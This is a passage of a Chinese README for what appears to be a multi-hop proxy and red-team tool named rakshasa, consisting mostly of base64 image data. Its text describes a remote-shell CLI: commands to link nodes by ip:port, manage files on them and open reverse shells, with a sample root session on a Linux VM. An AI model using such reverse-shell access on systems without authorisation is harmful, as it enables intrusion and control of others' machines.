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) + +#### CLI模式远程shell示例 + +执行remoteShell进入远程shell + +```shell +rakshasa\remoteShell>help + +Commands: + clear clear the screen + exit exit the program + file 连到节点进行文件管理,参数为id或者uuid + help display help + new 与一个或者多个节点连接,使用方法 new ip:端口 多个地址以,间隔 如1080 127.0.0.1:1081,127.0.0.1:1082 + print 列出所有节点 + shell 反弹shell 使用方法 shell id/uuid 启动参数 ,启动参数可为空,win默认启动cmd,linux默认启动bash, 如 shell 1 powershell 。 shell 1 zsh +``` + +连接到节点 + +```shell +rakshasa\remoteShell>shell feed089e-20aa-44d5-bbff-07c968a94ffc +root@virtual-machine:/data/socks5/rakshasa#ls +aes common config.yaml go.mod main.go readline README.md shell +cert config gencert go.sum rakshasa.exe readme server +root@virtual-machine:/data/socks5/rakshasa# whoami +root +root@virtual-machine:/data/socks5/rakshasa# uname -a +Linux virtual-machine 5.15.0-58-generic #64-Ubuntu SMP Thu Jan 5 11:43:13 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux +root@virtual-machine:/data/socks5/rakshasa# +``` + +windows下也能执行linux的交互式命令,并正常显示,如htop +![图片](data:image/png;base64,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AiAAAn0gwAr4hx56aLBnz57hN+CXfkZuJ23cuJEuvvjiPnBCHUEABEAABEAABEAABEAABEAABECgUQIQ8I3iR+EgAAIgAAIgAAIgAAIgAAIgAAIgICMAAS/jhFggAAIgAAIgAAIgAAIgAAIgAAIg0CgBCPhG8aNwEAABEAABEAABEAABEAABEAABEJARgICXcUIsEAABEAABEAABEAABEAABEAABEGiUQLaAVxfZ4QcEQAAEQAAEQAAEQAAEQAAEQAAEQMBP4LHHHqNHH300C9F5551HJ554Iq1atYqmpqaGvytWrKCJiYnh7xh3Cz0EfBZ/JAYBEAABEAABEAABEAABEAABEOgBAQj4HjQyqggCIAACIAACIAACIAACIAACINB9AhDw3W9D1AAEQAAEQAAEQAAEQAAEQAAEQKAHBCDge9DIqCIIgAAIgAAIgAAIgAAIgAAIgED3CdQr4G/fQGfd+hL6ixOfSWO7dtHOnTtp48ZLaePGy7tPEjUAARAAARAAARAAARAAARAAARAAgQoJ1Cjgn6B/effxdPPaT9EfP+c2ev+LzqSv7/c02jmzk+7efneFVUTWIAACIAACIAACIAACIAACIAACINB9ApyA/+Y3v0nPe97zghWV3UL/w6voDX+1h979od+nX5q9md7/J/fQse95OX1240bCLfTddyTUAARAAARAAARAAARAAARAAARAoFoCIQGvxLv+CYl4gYC/b/Av572Wbj/+Knrdz95L6/99NT3tM3MQ8NW2LXIHARAAARAAARAAARAAARAAARAYIQI+AW+Kd07E8wL+axcOXvHuR+hPT9uXbtvwFXrWBa+i23/vBLqYiPbZZx9SRuAHBEAABEAABEAABEAABEAABEAABEDAT8Al4O2Vd24lnhfwd35p8Plbf0p7vvUh+rvVF9IHj57GFnp4JQiAAAiAAAiAAAiAAAiAAAiAAAhEEAgJeHPbvBbxrq30vIB/6KHBnse+QRecdjMd+dH/RgfM3kwX/slXaMXuq+hLP3o6TeMSu4gmQ1QQAAEQAAEQAAEQAAEQAAEQAIE+EvAJeJdQ911oJxDw9wy+cdFp9LkD30tvfcHP6fHpb9A5l07Tbz+xm3767J10zcZP9JE96gwCIAACIAACIAACIAACIAACIAACYgLcLfSSjAQC/kuDv331uXTzM59Pv/fr/w8970Ur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